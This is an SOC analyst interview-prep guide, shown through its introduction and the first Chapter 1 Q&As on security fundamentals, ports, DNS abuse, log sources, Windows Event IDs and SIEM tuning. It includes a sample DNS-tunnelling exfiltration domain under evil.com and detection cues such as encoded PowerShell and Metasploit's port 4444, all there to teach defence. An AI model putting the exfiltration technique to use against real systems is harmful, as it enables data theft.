SJVIK Labs

SOC Analyst Interview Kit

Everything you need to land your first SOC role

Steven J. Vik

2026 Edition

© 2026 Steven J. Vik / SJVIK Labs. All rights reserved.

This guide is licensed for personal use only. Do not redistribute.

Legal Notice

© 2026 Steven J. Vik / SJVIK Labs. All rights reserved.

No part of this publication may be reproduced, distributed, or transmitted in any form or by any means, including photocopying, recording, or other electronic or mechanical methods, without the prior written permission of the author, except for brief quotations in critical reviews and certain other noncommercial uses permitted by copyright law.

This guide is licensed for **personal use only** by the original purchaser. You may not share, resell, or redistribute this file. Unauthorized distribution is a violation of copyright law and just kind of a crappy thing to do.

Disclaimer: The information in this guide is provided "as is" without warranty of any kind. The author makes no guarantees regarding the accuracy, completeness, or suitability of the content for any particular purpose. Use the commands, configurations, and advice in this guide at your own risk. The author is not responsible for any damage to hardware, data loss, security breaches, or other consequences resulting from following this guide.

Product names, logos, and trademarks referenced in this guide are the property of their respective owners and are used for identification purposes only. Use of these names does not imply endorsement.

2026 Edition — Version 1.0

Contents

SOC Analyst Interview Kit **4**
Introduction . . . 4
Who This Kit Is For . . . 4
How to Use This Kit . . . 5
Quick-Start: Match Your Prep to the Job Posting . . . 6
What Interviewers Actually Look For . . . 7
The STAR Method Adapted for Security . . . 8
Common Interview Formats . . . 8
A Note on Honesty . . . 10

Chapter 1: Core Concepts **11**
Flashcard-Style Q&A for Interview Preparation . . . 11

Chapter 2: Scenario Questions **32**
Real Interview Scenarios with Model Answers . . . 32

Chapter 3: Technical Questions **56**
Hands-On Technical Knowledge for SOC Interviews . . . 56

Chapter 4: Behavioral Questions **82**
Soft Skills and Situational Questions for Security Roles . . . 82

Chapter 5: Tools and Technology **96**
What to Know About the Tools Interviewers Expect You to Discuss . . . 96
SIEM Platforms . . . 96
EDR Platforms . . . 98
Network Analysis Tools . . . 99
Vulnerability Management Tools . . . 101
OSINT and Threat Intelligence Tools . . . 102
Ticketing and Workflow . . . 103
Forensics Tools . . . 103
Scripting Languages . . . 104
How to Talk About Tools You Have Not Used . . . 106

Chapter 6: Resume and Prep Tips **108**
Positioning Yourself for Security Roles . . . 108
How to Position Homelab and Self-Study Experience . . . 108

Certifications: Which Ones Matter . . . 109
Building a Security Portfolio . . . 110
Pre-Interview Checklist . . . 110
Questions to Ask the Interviewer . . . 111
Red Flags in SOC Job Postings . . . 112
Salary Negotiation Basics for Security Roles . . . 114
After the Interview: Follow-Up . . . 115
Red Flags in Security Job Postings . . . 115
Positioning Career Transitions . . . 116

Chapter 7: Quick Reference Cards **118**
Printable Cheat Sheets for Last-Minute Review . . . 118
Card 1: Common Ports and Protocols . . . 118
Card 2: MITRE ATT&CK Tactics Summary . . . 119
Card 3: NIST Incident Response Phases . . . 120
Card 4: Log Source Reference Map . . . 121
Card 5: "If You See X, Think Y" Pattern Matching . . . 122
Card 6: Acronym Glossary . . . 123
Card 7: Key Windows Event IDs . . . 128
Card 8: Investigation Quick-Start Checklist . . . 129
SIEM Query Exercises . . . 130
Printable Cheat Sheet: The 20 Things to Know Cold . . . 136

Chapter 8: Answers That Sound Right But Are Wrong **138**
The Pattern . . . 143
Mock Interview Scoring Guide . . . 143

Chapter 9: Your First 90 Days on the SOC **146**
Week 1: Shut Up and Listen . . . 146
Weeks 2-4: Build Your Rhythm . . . 147
Month 2: Start Adding Value . . . 148
Month 3: Show Your Trajectory . . . 149
The Unwritten Rules Nobody Tells You . . . 149

About the Author **151**

SOC Analyst Interview Kit

Introduction

Picture this: you are sitting in a lobby, portfolio on your lap, heart going a little faster than you would like. In fifteen minutes, someone is going to ask you to explain incident response, walk through a phishing scenario, and tell them about a time you made a mistake. You have studied for months. You have the certs. You know this stuff. But right now, all you can think is: *what if I blank?*

This kit exists so you don't.

Who This Kit Is For

You are close to landing your first security role — but you keep hitting a wall in interviews. You have the knowledge. You just need to learn how to *demonstrate* it under pressure.

You are the target audience if you:

- Hold Security+, CySA+, or similar certifications and want to translate that knowledge into interview performance
- Are transitioning from IT support, helpdesk, networking, or sysadmin into a security-focused role
- Recently graduated from a cybersecurity program or bootcamp and need to bridge the gap between coursework and real-world expectations
- Have homelab experience but no professional SOC time and are unsure how to present that credibly
- Have applied to SOC Analyst, Security Analyst, Incident Responder, or Tier 1-2 security operations positions
- Interviewed before and got feedback like "not enough hands-on experience" or "couldn't go deep enough on technical questions"

Roles this kit targets:

- SOC Analyst (Tier 1 / Tier 2)
- Security Analyst
- Junior Incident Responder
- Security Operations Center Technician
- Information Security Analyst

- Cybersecurity Analyst

If you are applying to senior security engineer, architect, or red team roles, the fundamentals review is still useful. But this kit is designed for the entry-to-mid tier of security operations.

How to Use This Kit

The 1-Week Intensive Track

For when the interview is coming up fast and you need to be efficient.

Day	Focus	Chapters
Day 1	Foundations	Chapter 1: Core Concepts (first pass — read all Q&As, flag weak areas)
Day 2	Scenarios	Chapter 2: Scenario Questions (practice talking through each one out loud)
Day 3	Technical depth	Chapter 3: Technical Questions (focus on your weakest 10 questions)
Day 4	Behavioral prep	Chapter 4: Behavioral Questions (write out 3-4 STAR stories from your experience)
Day 5	Tools and technology	Chapter 5: Tools and Technology (especially tools listed in the job posting)
Day 6	Resume and logistics	Chapter 6: Resume and Prep Tips (research the company, prepare your questions)
Day 7	Review and rehearse	Chapter 7: Quick Reference Cards + full mock interview with a friend or mirror

The 2-Week Deep Dive Track

For when you have time to internalize the material rather than just memorize it.

Week 1: Build the Knowledge

Day	Focus
Mon	Chapter 1: Core Concepts (first 25 questions) — write answers in your own words
Tue	Chapter 1: Core Concepts (remaining questions) — quiz yourself without looking
Wed	Chapter 2: Scenario Questions (first 10) — practice out loud, record yourself
Thu	Chapter 2: Scenario Questions (remaining) — time yourself: 2-3 minutes per answer
Fri	Chapter 3: Technical Questions (first 15) — try to answer before reading the model answer

Day	Focus
Sat	Chapter 3: Technical Questions (remaining) — lab any hands-on questions you can
Sun	Review weak spots from the week

Week 2: Polish and Perform

Day	Focus
Mon	Chapter 4: Behavioral Questions — draft your STAR stories, tailor to the specific role
Tue	Chapter 5: Tools and Technology — focus on tools in the job posting, lab if possible
Wed	Chapter 6: Resume and Prep Tips — research the company, refine your resume
Thu	Full mock interview (mix of technical, scenario, behavioral)
Fri	Chapter 7: Quick Reference Cards — print or save for last-minute review
Sat	Second mock interview, focus on weak areas from Thursday
Sun	Light review only — rest, stay sharp, trust the prep

Quick-Start: Match Your Prep to the Job Posting

You just found a job posting. It closes in 3 days. You do not have time to read all 8 chapters cover to cover. So don't.

Here is what you do instead: open the posting, read it line by line, and highlight every keyword that tells you what they actually care about. Then use the table below to figure out exactly where to spend your time.

This kit was built so you can slice into it from any angle. You do not need to start at Chapter 1. You need to start at whatever the interviewer is going to ask you about — and the posting tells you that if you know how to read it.

If the posting mentions…	Focus on these chapters
SIEM, Splunk, Sentinel, log analysis	Ch 1 (Core Concepts), Ch 3 (Technical), Ch 7 (Quick Ref + SIEM Exercises)
Incident response, triage, escalation	Ch 2 (Scenarios), Ch 1 (IR phases flashcard), Ch 7 (IR checklist)
MITRE ATT&CK, threat hunting, detection engineering	Ch 1 (ATT&CK flashcards), Ch 2 (Scenarios), Ch 3 (Technical Q15+)
EDR, CrowdStrike, Carbon Black, SentinelOne	Ch 3 (Technical), Ch 5 (Tool Reference), Ch 2 (endpoint scenarios)

If the posting mentions…	Focus on these chapters
Cloud security, AWS, Azure, GCP	Ch 2 (Cloud scenario), Ch 3 (Technical), Ch 1 (cloud concepts)
"Culture fit", "team player", "communication"	Ch 4 (Behavioral), Ch 6 (Resume Tips)
SOC Tier 1, entry-level, "no experience required"	Start with Ch 1, Ch 4, Ch 6 — nail the basics and behavioral
SOC Tier 2, senior analyst, "2+ years"	Ch 2 (Scenarios), Ch 3 (Technical deep dives), Ch 7 (SIEM exercises)

When in doubt, read the posting line by line. Every requirement maps to something in this kit. Highlight the keywords, find them in the table, and build your study plan around those chapters.

What Interviewers Actually Look For

Here is the uncomfortable truth about security interviews: **interviewers are not testing whether you memorized definitions.** They already know what the CIA triad is. They want to know if you can *think* like an analyst. Everything else flows from that.

The Five Things That Actually Matter

1. Structured thinking under pressure

When you get a scenario question, the interviewer is watching *how* you approach it, not just what you say. Do you jump to conclusions or do you ask clarifying questions? Do you follow a logical process or scatter in every direction? The analysts who succeed in interviews — and on the job — break problems down into steps.

2. The ability to articulate your reasoning

"I would block the IP" is a weak answer. "I would block the IP at the firewall after confirming it is not associated with a legitimate service, then investigate the scope of the activity by checking if other hosts communicated with the same IP" is a strong answer. The difference is showing your work.

3. Knowing the limits of your knowledge

Saying "I'm not sure about that specific tool, but here's how I'd approach the problem" is far better than bluffing. Every interviewer has been in a SOC. They can tell when you are making things up. Honesty about gaps — paired with curiosity and a plan to learn — is a green flag.

4. Evidence that you have actually touched security tools

Certifications prove you studied. Homelabs, CTFs, and project writeups prove you *did something*. Be ready to talk about a specific time you used Wireshark, configured a firewall rule, analyzed a log, or triaged an alert — even if it was in a lab environment.

5. Communication skills

SOC analysts write tickets, brief managers, explain incidents to non-technical stakeholders, and collaborate with other teams. If you cannot explain your reasoning clearly in an interview, the interviewer will doubt you can do it on shift.

The STAR Method Adapted for Security

The STAR method (Situation, Task, Action, Result) is the standard framework for behavioral interview answers. But in security, you need to adapt it because many of your examples come from labs, coursework, or personal projects rather than professional experience.

The Security STAR Framework

Situation — Set the scene. What was the environment? What was the context? - Professional: "In my previous role on the helpdesk, we received a report from a user that…" - Lab/study: "While working through a CySA+ lab scenario, I was presented with…" - Personal project: "In my home lab, I configured a SIEM to monitor my network and noticed…"

Task — What was your specific responsibility? What needed to happen? - "My job was to triage the alert and determine if it was a true positive." - "I needed to figure out why the firewall was dropping legitimate traffic." - "The goal was to identify the attack vector and contain the threat."

Action — What did you *specifically* do? This is where the detail lives. Use first person ("I"), not "we." - "I pulled the authentication logs and correlated them with…" - "I used Wireshark to capture the traffic and filtered for…" - "I isolated the host from the network, then checked…"

Result — What happened? What did you learn? What would you do differently? - "The alert turned out to be a true positive — the user's credentials had been compromised via a phishing email. We reset the password and…" - "I documented the incident and recommended we add a detection rule for…" - "Looking back, I would have also checked X, which I learned about later."

Key Principles

- **Lab experience is valid.** Do not apologize for it. Frame it as proactive self-directed learning.
- **"What I learned" matters as much as "what I did."** Interviewers want to see growth.
- **Be specific.** "I used Splunk" is weak. "I used Splunk to run an SPL query filtering for EventCode 4625 on the domain controller to identify the scope of failed logons" is strong.
- **Admit mistakes.** "I initially thought it was X, but after checking the logs I realized it was Y" shows analytical maturity.

Common Interview Formats

Phone Screen (15-30 minutes)

Usually with a recruiter or hiring manager. Expect: - "Walk me through your background" - "Why security? Why this company?" - "What's your experience with [tool/concept from the job posting]?" - Basic technical questions to confirm you meet the minimum bar - Salary expectations

How to prepare: Have a 60-second pitch for your background. Research the company. Know why you want this specific role, not just "a security role."

Technical Interview (45-60 minutes)

Usually with a senior analyst or security engineer. Expect: - Scenario walkthroughs: "You see X in the SIEM. What do you do?" - Concept questions: "Explain how DNS works. How can it be abused?" - Tool-specific questions if they use a specific SIEM/EDR - Possible live screen share where you analyze a log snippet or PCAP

How to prepare: Chapters 1, 2, 3, and 5 of this kit. Practice explaining concepts out loud — writing and speaking use different parts of your brain.

Scenario-Based / Tabletop (30-60 minutes)

Sometimes combined with the technical interview, sometimes separate. You are given a realistic incident and walked through it in stages.

Example: "An alert fires for a user downloading a suspicious executable. Walk me through your response. Okay, now you find out the executable was run. What changes? Now the user says they got an email with a link. What do you check?"

How to prepare: Chapter 2. Practice thinking in phases: detection, triage, containment, investigation, remediation, lessons learned.

Panel Interview (45-60 minutes)

Multiple interviewers — typically a mix of technical leads, managers, and sometimes HR. Questions come from different people, covering technical and behavioral topics.

How to prepare: Everything in this kit, but especially Chapter 4. Panel interviews test communication as much as knowledge. Make eye contact with whoever asked the question, but include the whole panel when answering.

Take-Home / Practical Assessment (1-4 hours)

Some companies send a practical exercise: analyze a PCAP, investigate a set of logs, write an incident report, or complete a CTF-style challenge.

How to prepare: Chapter 3 and Chapter 5. If you have not done a CTF before, work through a few rooms on TryHackMe or challenges on Blue Team Labs Online before your interview window.

Culture / Behavioral Fit (30-45 minutes)

Usually with the hiring manager or team lead. Focuses on how you work, how you handle stress, how you communicate, and whether you fit the team.

How to prepare: Chapter 4. Have 4-5 STAR stories ready that you can adapt to different questions.

A Note on Honesty

Throughout this kit, you will find detailed model answers. Do not memorize them. Understand the *structure* and *depth* that strong answers have, then build your own from your own experience.

Interviewers will probe. If you memorized an answer about MITRE ATT&CK but cannot explain which tactic lateral movement falls under when asked a follow-up, the memorization hurts you more than it helps. Learn the material. Do not script a performance.

You know more than you think. This kit helps you organize what you know and deliver it clearly under pressure.

Next: Chapter 1 — Core Concepts

Chapter 1: Core Concepts

Flashcard-Style Q&A for Interview Preparation

You will get asked these questions. Not might — *will.* The CIA triad, the kill chain, how DNS works, what a VLAN does. Every SOC interview starts here.

The answers below are written the way you should deliver them in an interview: conversational, specific, showing understanding rather than memorization. Read each one, then try saying it in your own words. If you can explain it without looking, you own it. If you stumble, that is your study target.

CIA Triad and Application

Q1: What is the CIA triad and why does it matter?

The CIA triad stands for Confidentiality, Integrity, and Availability. It is the foundational model for thinking about information security.

- **Confidentiality** means ensuring information is only accessible to those authorized to see it. Controls include encryption, access control lists, and data classification.
- **Integrity** means ensuring information has not been tampered with or altered without authorization. Controls include hashing, digital signatures, and change management processes.
- **Availability** means ensuring information and systems are accessible when needed by authorized users. Controls include redundancy, backups, DDoS protection, and disaster recovery plans.

It matters because every security decision maps back to one or more of these pillars. When you triage an alert, you are evaluating which pillar is threatened. When you recommend a control, you should be able to articulate which pillar it protects. In an interview, connecting your answers back to the CIA triad shows you think like a security professional, not just a technician.

Pro tip: Do not just recite the definition. Have an example ready. "When we encrypt data at rest, that's a confidentiality control. When we hash a file and compare checksums, that's an integrity check. When we set up a failover cluster, that's an availability control."

Q2: Give me a real-world example where confidentiality and availability conflict.

Encryption protects confidentiality, but if the key management system goes down, authorized users

cannot access the data — that is an availability failure. Another example: strict network segmentation improves confidentiality by limiting who can reach sensitive systems, but it can reduce availability if a legitimate service cannot communicate across segments because of overly restrictive rules.

The point is that security is about balance. There is rarely a control that improves all three pillars simultaneously without trade-offs. A mature analyst understands these tensions and can help the organization make informed risk decisions.

Q3: A database containing customer PII was modified by an unauthorized process. Which pillar of the CIA triad is most directly affected?

Integrity. The data was altered without authorization. Confidentiality may also be affected if the unauthorized process exfiltrated the data, but the *modification* itself is an integrity violation. As a SOC analyst, my first step would be to determine the scope of the changes, identify how the process gained access, and check whether any data was also exfiltrated — because incidents rarely affect just one pillar.

Defense in Depth

Q4: What is defense in depth? Give me a practical example.

Defense in depth is the strategy of layering multiple security controls so that if one fails, others still protect the asset. No single control is perfect, so you assume each one will eventually be bypassed or fail.

A practical example for protecting a web application:

1. **Perimeter:** Web application firewall (WAF) blocks common attack patterns (SQLi, XSS)
2. **Network:** The web server sits in a DMZ, segmented from the internal network
3. **Host:** The server runs endpoint detection and response (EDR) and is hardened (unnecessary services disabled, patched regularly)
4. **Application:** Input validation, parameterized queries, secure session management
5. **Data:** Database encryption at rest, least-privilege database accounts
6. **Monitoring:** SIEM collects logs from all layers, alerts on anomalies
7. **Human:** Security awareness training so developers do not introduce vulnerabilities

If the WAF misses a new attack, the application-layer controls catch it. If those fail, the EDR on the host detects the behavior. If that fails, the network segmentation limits the blast radius. Each layer buys time and reduces impact.

Q5: How is defense in depth different from defense in breadth?

Defense in depth is about layering controls *around the same asset* so that compromise requires defeating multiple controls in sequence. Defense in breadth (sometimes called defense in width) is about applying controls *across all assets* — ensuring consistent baseline security across the environment rather than just protecting crown jewels.

Both matter. Defense in depth without breadth means you have a fortress around your database but the marketing server is wide open and provides a pivot point. Defense in breadth without depth means every system has a firewall, but a single bypass gets an attacker straight to the data.

Least Privilege

Q6: What is least privilege and what does it look like in practice?

Least privilege means giving users, applications, and systems only the minimum permissions they need to perform their specific function — and nothing more.

In practice: - A SOC analyst has read-only access to SIEM dashboards and can create tickets, but cannot modify detection rules or delete logs - A web application connects to the database with a service account that can SELECT and INSERT into specific tables, but cannot DROP tables or access other databases - An admin uses a standard user account for daily work and only elevates to their admin account when performing administrative tasks - A CI/CD pipeline has credentials scoped to deploy to the staging environment, not production

The common failure is "it's easier to just give admin access." That is how a compromised low-priority account becomes a domain admin in three lateral hops. Least privilege limits the blast radius of any compromise.

Q7: A developer says they need local admin on their workstation to do their job. How do you handle this?

You do not just say no. You ask what specifically they need admin for — installing tools, running services on privileged ports, accessing certain directories. Then you find the least-privilege way to enable that:

- If they need to install approved software, a privilege escalation tool like CyberArk or a self-service software catalog can provide targeted elevation without full local admin.
- If they need to run a specific service, you can grant permissions to that service without granting admin to the whole machine.
- If after investigation they genuinely need local admin (sometimes they do), you document the business justification, ensure EDR is active and monitored on the machine, and flag it as an accepted risk with management approval.

The key is: understand the requirement, find the narrowest permission that meets it, and document the decision.

Kill Chain and MITRE ATT&CK

Q8: What is the Cyber Kill Chain and how is it useful?

The Lockheed Martin Cyber Kill Chain describes the seven stages of a typical cyberattack:

1. **Reconnaissance** — The attacker researches the target (scanning, OSINT, social engineering recon)

2. **Weaponization** — The attacker creates a deliverable payload (trojanized document, exploit kit)
3. **Delivery** — The payload reaches the target (phishing email, compromised website, USB drop)
4. **Exploitation** — The payload executes and exploits a vulnerability
5. **Installation** — Malware is installed for persistence (registry keys, scheduled tasks, services)
6. **Command and Control (C2)** — The compromised system connects back to the attacker's infrastructure
7. **Actions on Objectives** — The attacker achieves their goal (data exfiltration, ransomware, espionage)

The value is that each stage is a detection and prevention opportunity. If you break the chain at any point, the attack fails. A SOC analyst uses this to think about *where* in the chain an alert fires and what stages may have already occurred or are about to occur.

Q9: What is MITRE ATT&CK and how do you use it in a SOC?

MITRE ATT&CK is a knowledge base of adversary tactics, techniques, and procedures (TTPs) based on real-world observations. Unlike the Kill Chain, which is linear, ATT&CK is a matrix organized by tactics (the "why" — what the attacker is trying to achieve) and techniques (the "how" — specific methods they use).

The 14 tactics in the Enterprise matrix include: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact.

In a SOC, ATT&CK is used to: - **Map detection rules** to specific techniques so you know what you can and cannot detect - **Describe incidents** using a common language ("the attacker used T1059.001 — PowerShell for execution") - **Identify coverage gaps** by comparing your detection capabilities against the matrix - **Prioritize new detections** based on the most commonly observed techniques in your threat landscape

Pro tip: In an interview, referencing a specific ATT&CK technique ID (like T1566 for Phishing or T1078 for Valid Accounts) shows you are familiar with the framework beyond a surface level.

Q10: What is the difference between the Kill Chain and MITRE ATT&CK?

The Kill Chain is a linear model — it describes an attack as a sequence of stages from start to finish. It is useful for understanding the overall flow of an attack and identifying where to break the chain.

MITRE ATT&CK is a comprehensive matrix — it catalogs specific techniques an attacker might use at each stage, and it acknowledges that attacks are not always linear. An attacker might skip stages, revisit stages, or use multiple techniques within a single stage.

Think of the Kill Chain as the outline and ATT&CK as the encyclopedia. In practice, many SOCs use ATT&CK for detection engineering and gap analysis, while the Kill Chain is useful for briefing non-technical stakeholders on how an attack progressed.

Try this: Set a 2-minute timer. Explain the difference between the Kill Chain and MITRE ATT&CK out loud, as if you are in an interview. No peeking. If you stumble or go vague, re-read the answer above and try again. The goal is *fluent*, not *memorized*.

Common Protocols and Ports

Q11: What are the critical ports and protocols a SOC analyst needs to know?

Port	Protocol	What It Does	Why SOC Cares
20/21	FTP	File transfer	Cleartext credentials, data exfiltration vector
22	SSH	Secure remote shell	Brute force target, lateral movement
23	Telnet	Insecure remote shell	Cleartext everything, should not exist in production
25	SMTP	Email sending	Spam, phishing relay, data exfil
53	DNS	Name resolution	DNS tunneling, C2, exfiltration
80	HTTP	Web traffic (cleartext)	Malware delivery, C2, no encryption
88	Kerberos	Authentication (AD)	Kerberoasting, golden/silver ticket attacks
110	POP3	Email retrieval	Cleartext credentials
135	RPC	Remote procedure calls	Lateral movement (WMI, DCOM)
137-139	NetBIOS	Legacy Windows networking	Enumeration, lateral movement
143	IMAP	Email retrieval	Cleartext credentials
389	LDAP	Directory queries	Enumeration, cleartext credential exposure
443	HTTPS	Encrypted web traffic	Encrypted C2 can hide in legitimate traffic
445	SMB	File sharing (Windows)	EternalBlue, ransomware propagation, lateral movement
636	LDAPS	Encrypted LDAP	Preferred over 389
1433	MSSQL	Microsoft SQL Server	Database attacks, privilege escalation
3306	MySQL	MySQL database	Database attacks
3389	RDP	Remote Desktop	Brute force, lateral movement, ransomware
5985/5986	WinRM	Windows Remote Mgmt	Lateral movement, remote execution
8080/8443	HTTP alt	Web services/proxies	Application attacks, proxy abuse

Pro tip: You do not need to memorize every port. But if someone says "we saw traffic on port 4444," you should be able to say "that's commonly associated with Metasploit's default listener — I'd treat that as suspicious and investigate immediately."

Q12: Why does DNS matter so much in security?

DNS is one of the most abused protocols because it is almost always allowed through firewalls, it runs on UDP (connectionless, hard to track), and it is essential for network function so it cannot easily be blocked.

Attackers abuse DNS for: - **C2 communication:** Encoding commands in DNS queries/responses (DNS tunneling) - **Data exfiltration:** Encoding stolen data in subdomain labels (e.g., `c3RvbGVuZGF0YQ.evil.com`) - **Domain Generation Algorithms (DGAs):** Malware generates random-looking domains to find active C2 servers - **DNS rebinding:** Tricking a browser into communicating with internal resources

A SOC analyst should monitor DNS logs for: high query volume to a single domain, queries to high-entropy domains (random-looking strings), queries to newly registered domains, TXT record queries (often used for tunneling), and queries to known malicious domains via threat intelligence feeds.

Q13: What is the difference between TCP and UDP, and why does it matter for security monitoring?

TCP (Transmission Control Protocol) is connection-oriented — it establishes a session via a three-way handshake (SYN, SYN-ACK, ACK), ensures ordered delivery, and provides error checking. HTTP, HTTPS, SSH, and SMB use TCP.

UDP (User Datagram Protocol) is connectionless — it sends packets without establishing a session, with no guaranteed delivery or ordering. DNS, DHCP, SNTP, and many streaming protocols use UDP.

For security monitoring: - TCP connections can be tracked as sessions, making it easier to detect anomalies like excessive failed connections or unusual data volumes. - UDP traffic is harder to monitor because there is no connection state. This is why DNS tunneling is effective — UDP DNS queries are often not inspected deeply. - Seeing TCP traffic on a typically UDP port (or vice versa) is an anomaly worth investigating. DNS over TCP (port 53) can indicate zone transfers or tunneling.

Log Sources

Q14: What are the main log sources in a SOC and what does each tell you?

Log Source	What It Tells You	Key Things to Look For
Firewall logs	Network traffic allowed/denied between zones	Denied outbound connections (C2 attempts), allowed traffic to known-bad IPs, port scans, unusual port usage

Log Source	What It Tells You	Key Things to Look For
Proxy/web filter logs	HTTP/HTTPS traffic details including URLs	Connections to uncategorized or newly registered domains, downloads of executables, suspicious user agents
DNS logs	Every domain name resolution request	High-entropy domains (DGA), high query volume, tunneling indicators, queries to threat-intel flagged domains
EDR/endpoint logs	Process execution, file changes, registry mods, network connections per host	PowerShell execution, unsigned binaries, process injection, lateral movement tools (PsExec, WMI)
Authentication logs	Login successes and failures across systems	Brute force (many failures), credential stuffing, logins from unusual locations or times, privilege escalation
Email gateway logs	Inbound/outbound email metadata and filtering	Phishing attempts, malicious attachments caught/missed, BEC patterns, data exfiltration via email
Active Directory logs	Changes to AD objects, group membership, policy	New admin accounts, group membership changes, Kerberoasting indicators, DCSync attempts
VPN logs	Remote access connections	Impossible travel (logins from two locations), connections from flagged geolocations, unusual hours
Cloud provider logs	API calls, resource changes, access events	Unusual API calls, new IAM roles, S3 bucket policy changes, data access from unfamiliar IPs
Application logs	Application-specific events	SQL injection attempts, authentication bypasses, error spikes indicating exploitation

Pro tip: When answering interview questions about investigation, reference *specific* log sources. "I'd check the logs" is vague. "I'd check the EDR telemetry for process execution on the host, then correlate with the firewall logs for any outbound connections to the suspicious IP" is specific and credible.

Q15: What are the most important Windows Event IDs a SOC analyst should know?

Event ID	What It Means	Why It Matters
4624	Successful logon	Baseline for normal access; check logon type (interactive, network, RDP)
4625	Failed logon	Brute force detection, credential stuffing
4634/4647	Logoff	Session duration analysis
4648	Logon with explicit credentials (runas)	Lateral movement indicator

Event ID	What It Means	Why It Matters
4672	Special privileges assigned to new logon	Admin logon tracking
4688	New process created	Command-line auditing (requires advanced audit policy)
4697	Service installed	Persistence mechanism
4698	Scheduled task created	Persistence mechanism
4720	User account created	Unauthorized account creation
4724/4723	Password reset/change	Account takeover indicator
4728/4732/4756	Member added to security group	Privilege escalation
4768	Kerberos TGT requested	Kerberoasting, pass-the-ticket
4769	Kerberos service ticket requested	Kerberoasting
4771	Kerberos pre-authentication failed	Brute force against AD
1102	Audit log cleared	Anti-forensics — very suspicious
7045	New service installed (System log)	Persistence, lateral movement

---

SIEM

Q16: What is a SIEM and how does it work?

A Security Information and Event Management (SIEM) system is the central nervous system of a SOC. It collects, normalizes, and correlates log data from across the environment — firewalls, endpoints, servers, cloud services, applications — and generates alerts when predefined rules or behavioral baselines are violated.

Key functions: - **Log aggregation:** Collects logs from dozens or hundreds of sources into one platform - **Normalization:** Translates logs from different formats into a common schema so you can correlate events across sources - **Correlation:** Connects related events across different sources (e.g., a failed VPN login from Russia followed by a successful login from the same account five minutes later) - **Alerting:** Triggers alerts when rules are matched (signature-based) or anomalies are detected (behavioral) - **Search and investigation:** Allows analysts to query historical data to investigate incidents - **Dashboards and reporting:** Provides visibility into the security posture for SOC teams and management

---

Q17: What is the difference between a true positive, false positive, true negative, and false negative?

Term	Meaning	Example
True positive	Alert fires, and it is a real threat	SIEM alerts on C2 traffic, and it actually is C2 traffic

Term	Meaning	Example
False positive	Alert fires, but it is not a real threat	SIEM alerts on "suspicious PowerShell," but it is a legitimate admin script
True negative	No alert, and there is no threat	Normal traffic passes without triggering alerts — working as intended
False negative	No alert, but there IS a real threat	Malware communicates with a C2 server, but the SIEM has no rule to detect it

False positives waste analyst time and contribute to alert fatigue. False negatives are the real danger — threats that slip through undetected. SIEM tuning is the ongoing process of reducing false positives without introducing false negatives.

Q18: How do you tune a SIEM rule that is generating too many false positives?

First, I analyze the false positives to understand the pattern. What is causing them? Common causes include:

- **Overly broad detection logic:** The rule triggers on any PowerShell execution rather than specific suspicious patterns
- **Legitimate activity not excluded:** A vulnerability scanner triggers IDS alerts because its traffic pattern matches attack signatures
- **Missing context:** The rule does not account for authorized admin activity, business hours, or known-good IP ranges

Then I tune in stages: 1. **Whitelist known-good sources** after verifying they are truly benign (e.g., exclude the vulnerability scanner's IP from the rule) 2. **Add specificity** to the detection logic (e.g., trigger on PowerShell with encoded commands or network download cradles, not all PowerShell) 3. **Add time-based or threshold-based conditions** (e.g., only alert if more than 5 failed logins occur within 10 minutes, not every single failure) 4. **Test the tuned rule** against historical data to verify it still catches the true positives 5. **Document the change** — what was tuned, why, and the risk of the change

The goal is never to silence alerts — it is to make each alert more meaningful.

Encryption Fundamentals

Q19: What is the difference between symmetric and asymmetric encryption?

Symmetric encryption uses the same key for both encryption and decryption. It is fast and efficient for large amounts of data. Examples: AES (the standard for data at rest and in transit), 3DES (legacy), ChaCha20. The challenge is key distribution — how do you securely share the key with the other party?

Asymmetric encryption uses a key pair: a public key (shared openly) for encryption and a private key (kept secret) for decryption. It is slower but solves the key distribution problem. Examples: RSA, ECC (Elliptic Curve Cryptography), Diffie-Hellman (key exchange). Used for digital signatures, key exchange, and encrypting small amounts of data.

In practice, they work together. TLS uses asymmetric encryption to negotiate a shared symmetric key, then switches to symmetric encryption for the actual data transfer. This gives you the best of both worlds: secure key exchange and fast data encryption.

Q20: Walk me through a TLS handshake at a high level.

1. **Client Hello:** The client sends supported TLS versions, cipher suites, and a random number to the server
2. **Server Hello:** The server responds with the chosen TLS version, cipher suite, its certificate (containing the public key), and another random number
3. **Certificate Validation:** The client verifies the server's certificate against trusted certificate authorities (CA chain validation, expiration check, revocation check)
4. **Key Exchange:** The client and server use the agreed-upon method (typically ECDHE in modern TLS 1.3) to generate a shared secret. In TLS 1.2, the client might encrypt a pre-master secret with the server's public key
5. **Session Keys Derived:** Both sides derive symmetric session keys from the shared secret and random numbers
6. **Encrypted Communication:** All further communication is encrypted with the symmetric session keys

The critical security point: asymmetric encryption is only used to securely establish the shared secret. Once both sides have it, they switch to faster symmetric encryption for the actual data.

> **Try this:** Grab a whiteboard, a napkin, or a blank page. Draw the TLS handshake from memory — boxes for client and server, arrows for each message. Label what travels in each arrow. If you can draw it, you can explain it. If you cannot draw it, you do not own it yet.

Q21: What is the difference between encryption and hashing?

Encryption is **reversible** — you can decrypt the data back to its original form with the correct key. It is used to protect data confidentiality.

Hashing is **one-way** — you cannot reverse a hash back to the original data. It produces a fixed-length output (digest) regardless of input size. It is used to verify data integrity and store passwords securely.

Key properties of hashing: - **Deterministic:** Same input always produces the same hash - **Avalanche effect:** A tiny change in input produces a completely different hash - **Collision resistant:** It should be computationally infeasible to find two different inputs that produce the same hash

Common hash algorithms: SHA-256 (current standard), SHA-1 (deprecated, collision found in 2017), MD5 (broken, do not use for security). Passwords should be hashed with algorithms designed

for that purpose — bcrypt, scrypt, or Argon2 — which include salting and are intentionally slow to resist brute force.

Network Fundamentals

Q22: Explain the TCP three-way handshake and why it matters for security.

The TCP three-way handshake establishes a connection between two hosts:

1. **SYN:** The client sends a SYN (synchronize) packet to the server, proposing a connection
2. **SYN-ACK:** The server responds with a SYN-ACK, acknowledging the client's request and proposing its own sequence number
3. **ACK:** The client sends an ACK, confirming the connection. Data transfer can now begin

Why it matters for security: - **SYN flood attacks** exploit this by sending thousands of SYN packets without completing the handshake, exhausting the server's connection table - **SYN scans (half-open scans)** send SYN packets and analyze responses to identify open ports without completing the connection (and thus avoiding some logging) - **Firewall rules** can be configured to track connection state (stateful inspection) — only allowing traffic that belongs to an established connection - **Anomalous handshakes** (like receiving a SYN-ACK without sending a SYN) can indicate scanning or spoofing

